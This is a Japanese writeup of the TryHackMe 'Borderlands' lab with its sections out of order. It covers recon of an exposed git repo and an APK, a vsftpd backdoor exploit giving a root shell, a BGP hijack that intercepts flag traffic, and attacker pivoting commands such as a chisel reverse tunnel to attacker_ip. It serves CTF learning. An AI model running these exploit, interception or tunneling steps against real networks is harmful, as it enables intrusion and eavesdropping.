Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds
上記のバージョンでは、CVE-2011–2523という脆弱性が存在します。これを悪用することでバックドアを仕込み、任意コード実行が可能になっています。
exploit-db.com
実際にそのエクスプロイトコードを実行することで、リバースシェルすることが可能になっており、Route 1 に侵入することができます。
$ proxychains4 python exploit.py 172.16.1.128
[proxychains] config file found: /opt/homebrew/etc/proxychains.conf
[proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
/Users/rikuxx/mac-pentest-tools/borderlands/exploit.py:11: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
from telnetlib import Telnet
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:21 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:6200 ... OK
Success, shell opened
Send `exit` to quit shell
ls
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
supervisord.log
supervisord.pid
sys
tmp
usr
var
シェルのアップグレードは不可のため、こで進めるしかなさそうです。
python3 -c "import pty;pty.spawn('/bin/bash')"
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/usr/lib/python3.7/pty.py", line 156, in spawn
os.execlp(argv[0], *argv)
File "/usr/lib/python3.7/os.py", line 554, in execlp
execvp(file, args)
File "/usr/lib/python3.7/os.py", line 571, in execvp
_execvpe(file, args)
File "/usr/lib/python3.7/os.py", line 594, in _execvpe
exec_func(file, *argrest)
FileNotFoundError: [Errno 2] No such file or directory
また、このシェルはroot権限になっているようです。
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
実際に、/rootディレクトリに存在するflag.txtから{FLAG:Router1:XXX}を取得することが可能です。
cd root
ls
flag.txt
vsftpd
cat flag.txt
{FLAG:Router1:[FLAG_ROUTE1]}
pwd
/root
>What is the flag in the /root/ directory of router1? {FLAG:Router1:XXX}
>Answer: {FLAG:Router1:[FLAG_ROUTE1]}
BGP Hijacking Attack
振り返ると以下が今回のシナリオのアーキテクチャ図でした。
!スクリーンショット 2026-10-06 19.32.04.png
しかし、Route 2とRoute 3はどうやって繋げられるのでしょうか?
なんとこのシェルではvtyshというFRRouting (FRR)の各ルーティングデーモン(zebra、bgpd、ospfdなど)を統合して操作するための、Ciscoライクなコマンドラインシェルが操作できるようになっています。
vtysh
Hello, this is Quagga (version 1.2.4).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
router1.ctx.ctf#
このことから、BGPハイジャッキング攻撃が可能ではないかと考えます。
実際のネットワーク図は現状、以下の通りになっています。
+--------------------------------------------------+
| Internet / TryHackMe VPN |
+--------------------------------------------------+
|
+------------------+
| 172.18.0.2 |
| Web App (APP) |
| 172.16.1.10 |
+------------------+
| 172.16.1.0/24
+------------------+
| 172.16.1.128 |
| ROUTER 1 | AS 60001 ← 今ここに移動している
| 172.16.12.101 |
| 172.16.31.101 |
+------------------+
/ \
172.16.12.0/24 172.16.31.0/24
/ \
+------------------+ +------------------+
| 172.16.12.102 | | 172.16.31.103 |
| ROUTER 2 | AS 60002 | ROUTER 3 | AS 60003
+------------------+ +------------------+
| |
172.16.2.0/24 172.16.3.0/24
| |
+------------------+ +------------------+
| 172.16.2.10 | | 172.16.3.10 |
| flag_client | | flag_server |
| (sends UDP:4444) | | (listens TCP:5555)|
+------------------+ +------------------+
フラグクライアント(172.16.2.10)は、UDPフラグを含むUDPパケットを定期的に送信するはずです。フラグサーバーは例えば、TCPポート5555で待機し、信頼できるホスト(172.16.2.xのようなアドレス空間)から接続してくるクライアントにTCPフラグを送信するでしょう。
上記のような AS があった場合、AS 60001 から AS 60002 と AS 60003 間の通信を傍聴することで、TCPやUDPの通信の流れをハイジャック(盗聴)できる可能性があります。
先ほどのvtyshを使用し、BGP Shellを起動します。そして、以下のようにルーティング設定を行います。
router1.ctx.ctf# config terminal
config terminal
router1.ctx.ctf(config)# router bgp 60001
router bgp 60001
router1.ctx.ctf(config-router)# network 172.16.2.0/25
network 172.16.2.0/25
router1.ctx.ctf(config-router)# network 172.16.3.0/25
network 172.16.3.0/25
router1.ctx.ctf(config-router)# end
end
router1.ctx.ctf# clear ip bgp *
clear ip bgp *
router1.ctx.ctf# show bgp n
show bgp n
BGP neighbor is 172.16.12.102, remote AS 60002, local AS 60001, external link
BGP version 4, remote router ID 1.1.1.2
BGP state = Established, up for 00:00:41
Last read 00:00:40, hold time is 180, keepalive interval is 60 seconds
Neighbor capabilities:
4 Byte AS: advertised and received
Route refresh: advertised and received(old & new)
Address family IPv4 Unicast: advertised and received
Graceful Restart Capabilty: advertised and received
Remote Restart timer is 120 seconds
Address families by peer:
none
Graceful restart informations:
End-of-RIB send: IPv4 Unicast
End-of-RIB received: IPv4 Unicast
Message statistics:
Inq depth is 0
Outq depth is 0
Sent Rcvd
Opens: 3 1
Notifications: 1 0
Updates: 8 6
Keepalives: 37 35
Route Refresh: 0 0
Capability: 0 0
Total: 49 42
Minimum time between advertisement runs is 3 seconds
Default weight 100
For address family: IPv4 Unicast
Inbound soft reconfiguration allowed
Community attribute sent to this neighbor(all)
Inbound path policy configured
Incoming update prefix filter list is *LocalNet
2 accepted prefixes
Connections established 2; dropped 1
Last reset 00:00:43, due to User reset
External BGP neighbor may be up to 1 hops away.
Local host: 172.16.12.101, Local port: 44466
Foreign host: 172.16.12.102, Foreign port: 179
Nexthop: 172.16.12.101
Nexthop global: ::
Nexthop local: ::
BGP connection: non shared network
Read thread: on Write thread: off
BGP neighbor is 172.16.31.103, remote AS 60003, local AS 60001, external link
BGP version 4, remote router ID 1.1.1.3
BGP state = Established, up for 00:00:41
Last read 00:00:40, hold time is 180, keepalive interval is 60 seconds
Neighbor capabilities:
4 Byte AS: advertised and received
Route refresh: advertised and received(old & new)
Address family IPv4 Unicast: advertised and received
Graceful Restart Capabilty: advertised and received
Remote Restart timer is 120 seconds
Address families by peer:
none
Graceful restart informations:
End-of-RIB send: IPv4 Unicast
End-of-RIB received: IPv4 Unicast
Message statistics:
Inq depth is 0
Outq depth is 0
Sent Rcvd
Opens: 3 1
Notifications: 1 0
Updates: 8 6
Keepalives: 37 35
Route Refresh: 0 0
Capability: 0 0
Total: 49 42
Minimum time between advertisement runs is 3 seconds
Default weight 100
For address family: IPv4 Unicast
Inbound soft reconfiguration allowed
Community attribute sent to this neighbor(all)
Inbound path policy configured
Incoming update prefix filter list is *LocalNet
2 accepted prefixes
Connections established 2; dropped 1
Last reset 00:00:43, due to User reset
External BGP neighbor may be up to 1 hops away.
Local host: 172.16.31.101, Local port: 48866
Foreign host: 172.16.31.103, Foreign port: 179
Nexthop: 172.16.31.101
Nexthop global: ::
Nexthop local: ::
BGP connection: non shared network
Read thread: on Write thread: off
設定後、exitコマンドで離れて、tcpdumpでTCP、UDPパケット通信を傍受します。
router1.ctx.ctf# exit
exit
tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
15:38:22.199073 IP 172.16.3.10.60117 > 172.16.2.10.4444: UDP, length 44
E..HZJ@.>..&...
...
...\.4]z{FLAG:UDP:[FLAG_UDP]}
15:38:22.199315 IP 172.16.2.10 > 172.16.3.10: ICMP 172.16.2.10 udp port 4444 unreachable, length 80
E..d....?......
...
すると先に、UDPのフラグを取得することができます。
>What flag is transmitted from flag_server to flag_client over UDP? {FLAG:UDP:XXX}
>Answer: {FLAG:UDP:[FLAG_UDP]}
また、しばらく、時間をおくと、TCPのフラグも取得することが可能です。
15:39:31.256961 IP 172.16.3.10.5555 > 172.16.2.10.46163: Flags [FP.], seq 2:45, ack 1, win 227, options [nop,nop,TS val 478620 ecr 478620], length 43
E.._<.@.>..l...
...
...S..qlq++.....]......
..M...M.FLAG:TCP:[FLAG_TCP]}
15:39:31.257258 IP 172.16.2.10.46163 > 172.16.3.10.5555: Flags [.], ack 2, win 229, options [nop,nop,TS val 478620 ecr 478620], length 0
E..4f.@.?.x....
...
>What flag is transmitted from flag_server to flag_client over TCP? {FLAG:TCP:XXX}
>Answer: {FLAG:TCP:[FLAG_TCP]}
終わり
今回は、APKファイルの解析方法やSQLインジェクションを利用した悪用、高度な暗号解読、ピボットティング技術を加えた横展開、FTPのバックドア脆弱性による権限昇格、内部ネットワーク内でのBGPハイジャッキング技術など幅広く高度な技術を利用したBoot2Root問題を解きました。
当時、高校生の頃は苦戦しましたが、ChatGPT Sol 5.6のおかげで相当、解くのが簡単になりました。
Pivotingの復習やBGPハイジャッキング技術について深く学ぶことができてよかったです。
Tips
ここでは、高度なピボット技術とBGPハイジャッキング攻撃について軽くまとめておこうと思います。
Pivot (ピボット) 技術について
Pivot (ピボット) とは?
内部ネットワークにおいて、横展開を試みる場合、ピボッティングという侵害したマシンをルータとして利用し、別のネットワークにアクセスするハッキング技術です。 攻撃者のマシンからではアクセスできないネットワークに対し、侵害マシンを足がかりにアクセスすることを可能にします。
sompocybersecurity.com
この技術は、内部ネットワークにおいて、横展開するクレデンシャル情報がないが、内部スキャンなどを行いたい場合に非常に有効です。
ここでは主に使用されるPivotingツールを軽く紹介します。
1 ポートフォワーディング
ローカル接続とリモート接続を利用したSSHトンネリングという技術を使い、ターゲット先のSSH同士でPivotingすることが可能になっています。
攻撃者がターゲット先のサーバーに侵入できたとして、攻撃者側からローカル接続として待ち、ターゲット側からリモート接続で攻撃者側に接続を求めるような形で繋ぎ合わせます。
- 攻撃者
ssh -L 8080:10.0.0.5:80 user@pivot_host
- ターゲット側
ssh -R 8080:localhost:80 user@pivot_host
メリットとして、他のRed Team用のツールやMetasploit(のちに説明する)を用意せずとも接続が可能なため、非常に手間がなく、楽です。
デメリットとして、明らかなSSH接続をしているため、OPSEC的にターゲット側で監視がしっかりしていた場合は攻撃者が接続してしまっていることがバレてしまうことが挙げられます。
sompocybersecurity.com
ただ、HackTheBoxやTryHackMeでは特に気にしなくてもいいと思います。
(Red Team演習的には気をつけなければならない)
2 動的なポートフォワーディング (SOCKSプロキシ)
動的なポートフォワーディングとは、手元のパソコン(クライアント)にSOCKSプロキシサーバーを立て、SSH接続を経由して任意の宛先へ安全に通信を転送する技術のことです。
qiita.com
つまり、SSH接続におけるVPN接続と若干似ているかもしれません。
- 攻撃者
ssh -D 9050 user@pivot_host
そして、ProxyChainsを用いて、安全に内部スキャンを行ったりします。
proxychains nmap -sT 10.0.0.0/24
メリット・デメリットは特に何も感じませんが、強いて言えば、OPSECの観点で監視上、ターゲット側に対してバレたくないパケットを隠すのに向いているかもしれません。
3 VPN-Style Pivoting (VPNスタイルのピボット)
VPN-Style Pivoting (VPNスタイルのピボット) とは、侵入に成功した内部ネットワークの端末(足がかり)を仮想的なVPNサーバー(リレー)として扱い、攻撃者の端末とターゲットネットワークの間に暗号化されたレイヤー2(またはレイヤー3)のトンネルを構築して、ターゲット内部へ完全にアクセスする手法のことです。実際には Pivot上に VPN クライアント/サーバーのペアを配置し、そのネットワークを自分のネットワークとブリッジします。
sshuttleというツールやOpenVPN等を使用することで利用可能です。
以下、実例コマンドです。
sshuttle -r user @ pivot_host 10.0.0.0/24
sshuttle/sshuttle
openvpn.net
メリットとして、VPN接続でPivotingすることが可能です。そのため、中を隠すことができます。
これは、Red Team演習ではよく行われる手法だそうです。
4 Metasploit Pivoting
皆さんご存知のMetasploitでもPivotingをすることができます。
docs.metasploit.com
以下は実際の使用例です。
侵害されたホストを経由するルートを追加します。
meterpreter > run autoroute -s 10.0.0.0/24
そして、Metasploit内でSOCKSプロキシを使用します。
use auxiliary/server/socks_proxy run
メリットとしては、Metasploit内でエクスプロイトして、セッションを維持したいが、他のネットワークへPivotingしたいときに便利です。
これだとエクスプロイトフレームワークを最大限に使えそうですね
5 Chisel / Socat Tunnels
これについては、ファイアウォールなどの制限を回避して内部ネットワークに侵入するために使われるネットワーク転送・トンネリング手法ですが、特徴として、今までと違い、WebSocketを使用したTCPトンネリングツールになっています。
以下のような使用例です。
Chiselの場合
- 攻撃者側
chisel server -p 8000 --reverse
- ターゲット側
chisel client attacker_ip:8000 R:8080:10.0.0.5:80
また、socatでも同様に再現可能です。
socat TCP-LISTEN:8080,fork TCP:10.0.0.5:80
これのメリットとして、TCPで通信できるため、SSH接続などのプロトコル障害とかを関係なく、できるのが良いところです。
他にもダブルピボットやPuTTYというPivotingツールもありますが、詳細は以下を参照してください。
medium.com
lac.co.jp
BGPハイジャッキング技術について
ここでは、BGPハイジャッキング技術について軽く紹介したいと思います。
BGPハイジャッキングとは?
BGPハイジャックとは、インターネットの道案内役であるBGP(Border Gateway Protocol)の仕組みを悪用し、通信データを本来とは違う偽の経路へ誘導して乗っ取るサイバー攻撃のことです。
結構、パッとしにくいですが、本来とは異なる通信経路へ誘導する攻撃であり、BGPはAS間でより優先度の高い経路を信頼して採用するという設計思想を持ち、これを利用し不正なASが偽の経路情報を広告することで通信を横取り・遮断・改ざんするようです。
qiita.com
想定される攻撃シナリオとは?
これはあくまで個人的な想定される攻撃シナリオです。
一度広く紹介します。
- トラフィックの盗聴・傍受(MiTM攻撃)
- サービス停止・トラフィックの破棄によるDoS攻撃
- なりすまし・フィッシングとTLS証明書の不当取得
などが挙げれます。
ただ、一つ特徴的なことがあります。
それは、実際にBGP Shellを操作できるかどうか が重要である気がします。
もちろん、未認証でいける可能性も否定はしませんが、それはもはやBGP側の責務になり、いわゆるゼロデイ脆弱性になるのではないかと考えます。
つまり、前提として、BGPハイジャッキングできる攻撃者はBGPを操作できる権限を何かしらの方法を持っている と考えています。
ここまで読んでいただき、ありがとうございました。
少しでもご参考になると幸いです。
Mentions
TryHackMe Writeup: Borderlands & 高度なピボット技術とBGPハイジャッキング攻撃について はじめに この記事は、TryHackMeのwriteupです。 Roomは、Borderlands、Difficulty(難易度)はHardです。 このRoomでは、APKファイルの解析方法やSQLインジェクションを利用した悪用、高度な暗号解読、ピボットティング技術を加えた横展開、FTPのバックドア脆弱性による権限昇格、内部ネットワーク内でのBGPハイジャッキング技術など幅広く高度な技術について学ぶことができます。 Recon Port Scan Scanned at 2026-09-13 17:59:52 JST for 12s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2a:06:52:de:ec:1b:dc:34:f7:2f:31:4a:bc:e6:04:ba (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwqZizKGVDypkOlcQlxKMd9UnIm6koxSEx4XfSnOGhYOLNSWMcf1m6qVpuLmc9c0fQvOrzHx1w89GeLrKBobWYtv7OGmFbx5XdU47+AKfOMusrVQTeuO4SW2oFPsl2JPR01UvnG0MUuNwGnEP8XereqG3lei6Hp63a+N9tSI8lPzzJV6MBhtIAWsdGelwc7zvFZTbIzyY/rhYBYqV1zo8vkQizxh+n333bBht2GZzsKFZ3fC7E7AogzscctqinCmY9W+bbpnmMTsb5ASpVga6/YpdbvuEELd3WZ2MVeec0qLMptqCKyMs44Lpk4QriKOQlGszPiFsC3x1jW7/fzmyX | 256 0a:e7:af:62:74:af:71:3f:03:e8:53:1c:b9:38:2e:9e (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHm9n0NoXCPmamsN3RmVrUDDKuWoHH2Di3qtBiT4uP5G0Rf78e50D5/MiYmo7tvftYee6KmTjmxPQlyMDLizUas= | 256 82:d9:15:b0:16:cc:94:c4:b1:5c:1f:3e:26:fa:87:c5 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIOaW+1bk8lL06u47NXtGI5pw8zfagll0dAilXLIAnuj 80/tcp open http syn-ack nginx 1.14.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST |_http-server-header: nginx/1.14.0 (Ubuntu) | http-git: | [target_ip]:80/.git/ | Git repository found! | .git/config matched patterns 'user' | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: added mobile apk for beta testing. | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Context Information Security - HackBack 2 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 上記のポートスキャン結果をもとに調査を進めます。 ポート80では、以下のようなサイトがありました。 !スクリーンショット 2026-09-13 18.01.31.png Scanning Git Repository Dump ポートスキャン結果から、Gitリポジトリがありそうなので、git-dumpで持ってきます。 $ git-dumper http://[target_ip]/.git/ ./git_dump [-] Testing http://[target_ip]/.git/HEAD [200] [-] Testing http://[target_ip]/.git/ [403] [-] Fetching common files [-] Fetching http://[target_ip]/.gitignore [404] ...... ...... [-] Fetching http://[target_ip]/.git/objects/fd/efad64c4f3be0fe33ea5837c0fe75b8ee2ef2c [200] [-] Fetching http://[target_ip]/.git/objects/15/6f4e78a91e169db2e04b65767fc732b1ce2a7a [200] [-] Fetching http://[target_ip]/.git/objects/e0/03b9156c54897414bc5958372b10d76fed64bb [200] [-] Running git checkout . 中身を見てみると、リポジトリにあるAPI情報やFunction機能の情報もありそうです。 $ ls api.php functions.php Context_Red_Teaming_Guide.pdf Glibc_Adventures-The_Forgotten_Chunks.pdf Context_White_Paper_Pen_Test_101.pdf home.php CTX_WSUSpect_White_Paper.pdf index.php Demystifying_the_Exploit_Kit_-_Context_White_Paper.pdf info.php ただ、これだけだと情報が掴みにくいのでコミット履歴を見ました。 $ git log -p commit 6db3cf70b469de942f2f529166088cdfbbd5f764 (HEAD -> master) Author: Context Information Security <recruitment@contextis.com> Date: Tue Sep 10 14:44:31 2019 +0100 added mobile apk for beta testing. diff --git a/index.php b/index.php index b9953f0..03d7929 100644 --- a/index.php +++ b/index.php @@ -4,6 +4,7 @@ </head> <body style="background-color:#3a3a3b; text-align:center;"> <img alt="Context" style="width:320px;padding-top:10px;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAmwAAAB2CAYAAAB1R8/xAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAALiMAAC4jAXilP3YAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA.......... .......... AQMiuUV4edX+oMw5Q/iKzto8fMOB3jqoqAgAAAABoP4hARuHbmGkrWEJuwzIoAAAAAHqysVY72rPddZ6Qm2DccteuQLjfmx455TlYBgUAAADAgvAyXGu5fLYv3D8mE/FPvpAP+7bcBmWjQDj/SbomsNyzti6TT1PVAAAAAIBFx9DQ/wfHQKXbZPvK6QAAAABJRU5ErkJggg==" /> +<p>News: We are looking for Android BETA testers for the new Mobile App Prototype, please download from <a href="/mobile-app-prototype.apk">here</a>. <?php session_start(); commit fee5595bb2ba1d1ab005ec3de98367fe5d021e9f Author: Context Information Security <recruitment@contextis.com> Date: Tue Sep 10 14:43:26 2019 +0100 added white paper pdf's diff --git a/CTX_WSUSpect_White_Paper.pdf b/CTX_WSUSpect_White_Paper.pdf new file mode 100644 index 0000000..2abf4c2 Binary files /dev/null and b/CTX_WSUSpect_White_Paper.pdf differ diff --git a/Context_Red_Teaming_Guide.pdf b/Context_Red_Teaming_Guide.pdf new file mode 100644 index 0000000..e003b91 Binary files /dev/null and b/Context_Red_Teaming_Guide.pdf differ diff --git a/Context_White_Paper_Pen_Test_101.pdf b/Context_White_Paper_Pen_Test_101.pdf すると、以下のことを判明します。 <a href="/mobile-app-prototype.apk">here</a> つまり、他にも対象マシンのWebページには隠しファイルがあるようです。 Git Repository Analysis 一度、Git リポジトリでAPIキーを検索したところ、見つかりました。 $ cd ../git_dump $ grep -E -r "(GIT|WEB)[A-Za-z0-9]{27}" . ./home.php: echo ('<li><a href="api.php?documentid='.$documentid.'&apikey=[WEB_API_KEY]">'.$document_name.'</a></li>'); ./home.php: echo ('<input type="hidden" id="apikey" name="apikey" value="WEBLhvOJAH8d50Z4y5G5g4McG1GMGD" />'); >What is the API key that fits the following pattern: "WEB*" >Answer: [WEB_API_KEY] また、Git リポジトリのコミット履歴からGITのキーがないかを検索してみたところ、GitのAPIキーとANDのAPIキーの欠片がありました。 $ git log -p | grep -E "GIT[A-Za-z0-9]{27}" -if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "[WEB_API_KEY]") && substr($_GET['apikey'], 0, 20) !== "[AND_API_KEY_PREFIX]" && substr($_GET['apikey'], 0, 20) !== "[GIT_API_KEY]")) +if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "[WEB_API_KEY]") && substr($_GET['apikey'], 0, 20) !== "[AND_API_KEY_PREFIX]" && substr($_GET['apikey'], 0, 20) !== "[GIT_API_KEY]")) >What is the API key that fits the following pattern: "GIT*" >Answer: [GIT_API_KEY] しかし、ANDのAPIキーについてはまだ調査をする必要がありそうです。 APK file Analysis 実際にwgetでダウンロードします。 $ wget http://[target_ip]/mobile-app-prototype.apk --2026-09-13 18:10:55-- http://[target_ip]/mobile-app-prototype.apk [target_ip]:80 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 2226185 (2.1M) [application/octet-stream] `mobile-app-prototype.apk' に保存中 mobile-app-prototype.apk 100%[=================================================>] 2.12M 1.16MB/s 時間 1.8s 2026-09-13 18:10:57 (1.16 MB/s) - `mobile-app-prototype.apk' へ保存完了 [2226185/2226185] Surface Analysis (表層解析) とりあえず、フラグを取るにしてもANDという文字列が含まれているそうなので、その文字列が引っ掛かるかで中身を見てみます。 表層解析したところ、とんでもないぐらいのPNG5ファイル等が含まれているようです。 $ strings mobile-app-prototype.apk | grep -i "AND" META-INF/androidx.asynclayoutinflater_asynclayoutinflater.version5 META-INF/androidx.drawerlayout_drawerlayout.version5 META-INF/androidx.core_core.version5 META-INF/androidx.lifecycle_lifecycle-livedata-core.version5 ..... ..... res/drawable-xxxhdpi-v4/abc_text_select_handle_left_mtrl_dark.png5 res/drawable-xxxhdpi-v4/abc_text_select_handle_left_mtrl_light.pngPK res/drawable-xxxhdpi-v4/abc_text_select_handle_right_mtrl_dark.pngPK res/drawable-xxxhdpi-v4/abc_text_select_handle_right_mtrl_light.png5 res/layout/abc_expanded_menu_layout.xmlPK 仕方がないので、APKを unzip コマンドで展開します $ unzip mobile-app-prototype.apk -d apk_extracted Archive: mobile-app-prototype.apk inflating: apk_extracted/AndroidManifest.xml inflating: apk_extracted/META-INF/CERT.RSA inflating: apk_extracted/META-INF/CERT.SF inflating: apk_extracted/META-INF/MANIFEST.MF ...... ...... ...... extracting: apk_extracted/res/mipmap-xxxhdpi-v4/ic_launcher_round.png extracting: apk_extracted/resources.arsc その後、ANDという文字が引っ掛かるかで中身を見てみます。 $ ls AndroidManifest.xml classes.dex META-INF res resources.arsc $ grep -rn "AND" . Binary file ./classes.dex matches すると、引っ掛かるようになりました。 実際に中身をstringで見てもそれらしきものはなさそうです。 $ strings classes.dex | grep "AND" ) AND ( ACTION_EXPAND ANDROID_ORIENTATION ATTRS_ANDROID_SPINNERMODE COMMAND_DURATION COMMAND_INDEX EXCEPTION_HANDLER_MESSAGE_SUFFIX EXPANDED EXPANDED_ACTION_VIEW_ID EXPAND_LIST_TIMEOUT IS_MIN_MARGINS_HANDLING_CORRECT NAVIGATION_MODE_STANDARD NEXT_CANDIDATE_REQUEST_INDEX_TAG OPTIMIZATION_STANDARD ORIENTATION_LANDSCAPE PATH_AND_QUERY TYPE_HAND UNKNOWN_LANDSCAPE Static Analysis (静的解析) 一度、APKファイルをjadxという逆コンパイラーツールで逆コンパイルします。 $ jadx -d apk_src mobile-app-prototype.apk INFO - loading ... INFO - processing ... INFO - done 実際に検索をしてなさそうです。 $ grep -rn "ANDVOWLD" apk_src/ $ grep -rn "ANDVOWLD" apk_src/ $ grep -rn -i "apikey" apk_src/ apk_src/sources/com/example/ctf1/Main2Activity.java:8: String apiKey; apk_src/sources/com/example/ctf1/Main2Activity.java:15: this.apiKey = decrypt(getString(R.string.encrypted_api_key), "#TODO"); apk_src/sources/com/example/ctf1/Main2Activity.java:16: this.apiPath = "/api.php?documentid={}&apikey=" + this.apiKey; $ grep -rn "WEBL" apk_src/ しかし、粘り強く検索していると暗号化されたAPIキーがあることに気づきます。 $ cat apk_src/resources/res/values/strings.xml | grep -i "key" <string name="encrypted_api_key">CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo</string> Caesar Cipher Decryption (シーザー暗号解読) 実際にGit リポジトリにあるソースコードから以下のことが判明します。 暗号化されたキーの仕組み Main2Activity.java に以下のコードがありました。 this.apiKey = decrypt(getString(R.string.encrypted_api_key), "#TODO"); そして strings.xml に格納されていた文字列は CBQOSTEFZNL5U8LJB2hhBTDvQi2zQoであることがわかっています。 また、この暗号化処理は非常に単純なシーザー暗号(ROT13など)または文字コードのシフトであると仮定しました。 - 平文の先頭: [AND_API_KEY_PREFIX] - 暗号文の先頭: CBQOSTEF... アルファベットを比較してみると: - C (-2) -> A - B (-2) -> Z または B (-2) -> A - Q (-2) -> O ... のように、各文字が +2 または 2 シフト(またはVigenere暗号など)されています したがって、Main2Activity.java 内に定義されている decrypt 関数のソースコードを確認することで、正確な複合ロジックがわかります。 以下のコマンドで Main2Activity.java の全文を表示しました。 $ cat apk_src/sources/com/example/ctf1/Main2Activity.java package com.example.ctf1; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; /* JADX INFO: loaded from: classes.dex */ public class Main2Activity extends AppCompatActivity { String apiKey; String apiPath; @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.core.app.ComponentActivity, android.app.Activity protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main2); this.apiKey = decrypt(getString(R.string.encrypted_api_key), "#TODO"); this.apiPath = "/api.php?documentid={}&apikey=" + this.apiKey; } protected String decrypt(String encrypted_key, String encryption_key) { return "NOT_IMPLEMENTED"; } } Main2Activity.java 内では decrypt が "NOT_IMPLEMENTED" となっており、ロジック自体はJava側のコードには実装されていませんでした。 しかし、先ほど判明した 暗号文と予想される平文の先頭パターンから、シフト暗号(シーザー暗号)のルールが判明します。 シフト処理の検証 - 暗号文: CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo - 解読対象 (30文字): CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo 文字の対応関係を確認してみました。 | 種別 | 1文字目 | 2文字目 | 3文字目 | 4文字目 | 5文字目 | 6文字目 | 7文字目 | 8文字目 | N文字目 | | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 暗号文 | C | B | Q | O | S | T | E | F | .... | | 平文(想定) | A | N | D | V | O | W | L | D | ... | - C (3) $\rightarrow$ A (1) : 2 シフト - B (2) $\rightarrow$ N (14) : アルファベット26文字で 14 シフト(または逆向きの大きなシフト) - .... 単一の固定シフト値ではなく、キーを使ったシーザー暗号 / ヴィジュネル暗号(Vigenère Cipher)またはROT13等の文字置換が適用されています。 実際にPythonを使って簡単に解読・検証します。 以下のコマンドを実行して、暗号文をシフト解読します。 $ python3 -c ' enc = "CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo" target_prefix = "ANDVOWLD" # 換字暗号/シフトの復元試行 # アルファベットのシフト量を算出 shift = (ord(enc[0]) - ord("A")) % 26 print("解読候補:") decoded = [] for c in enc: if "A" <= c <= "Z": decoded.append(chr((ord(c) - ord("A") - 2) % 26 + ord("A"))) elif "a" <= c <= "z": decoded.append(chr((ord(c) - ord("a") - 2) % 26 + ord("a"))) else: decoded.append(c) print("".join(decoded)) ' 解読候補: AZOMQRCDXLJ5S8JHZ2ffZRBtOg2xOm 暗号化ロジックのキーシフト(Vigenère 暗号または動的シフト)が encrypted_api_key に適用されている状態です。 ANDVOWLD という先頭パターン(8文字)が確定しているため、暗号文CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo との対応関係からキーを解読します。 以下の Python ワンライナーを実行して、8文字周期のヴィジュネルキー(またはシフトパターン)を算出し、30文字の正確な AND* キーを復号を試みます。出力された30文字の文字列が AND* の正解キーになるはずですが、違うようです。 $ python3 -c ' enc = "CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo" target = "ANDVOWLD" # 先頭8文字の各シフト量を計算 shifts = [(ord(e) - ord(t)) % 26 for e, t in zip(enc[:8], target)] # 全体に適用して復号 res = [] for i, c in enumerate(enc): if "A" <= c <= "Z": s = shifts[i % len(shifts)] res.append(chr((ord(c) - ord("A") - s) % 26 + ord("A"))) elif "a" <= c <= "z": s = shifts[i % len(shifts)] res.append(chr((ord(c) - ord("a") - s) % 26 + ord("a"))) else: res.append(c) print("復号キー:", "".join(res)) ' 復号キー: ANDVOWLDXZY5Q8SHZ2uoXWKtOu2gMr 他のwriteupを見てみると、事前に閲覧したPHP側(api.php)で判明している平文の先頭20文字 ANDVOWLDLAS5Q8OQZ2tu と暗号文 CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo を比較すると、鍵は CONTEXT(7文字周期)などの英単語キーが使われています。 medium.com $ cat api.php <?php require_once("functions.php"); if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "[WEB_API_KEY]") && substr($_GET['apikey'], 0, 20) !== "[AND_API_KEY_PREFIX]" && substr($_GET['apikey'], 0, 20) !== "[GIT_API_KEY]")) { die("Invalid API key"); } if (!isset($_GET['documentid'])) { die("Invalid document ID"); } /* if (!isset($_GET['newname']) || $_GET['newname'] == "") { die("invalid document name"); } */ $conn = setup_db_connection(); //UpdateDocumentName($conn, $_GET['documentid'], $_GET['newname']); $docDetails = GetDocumentDetails($conn, 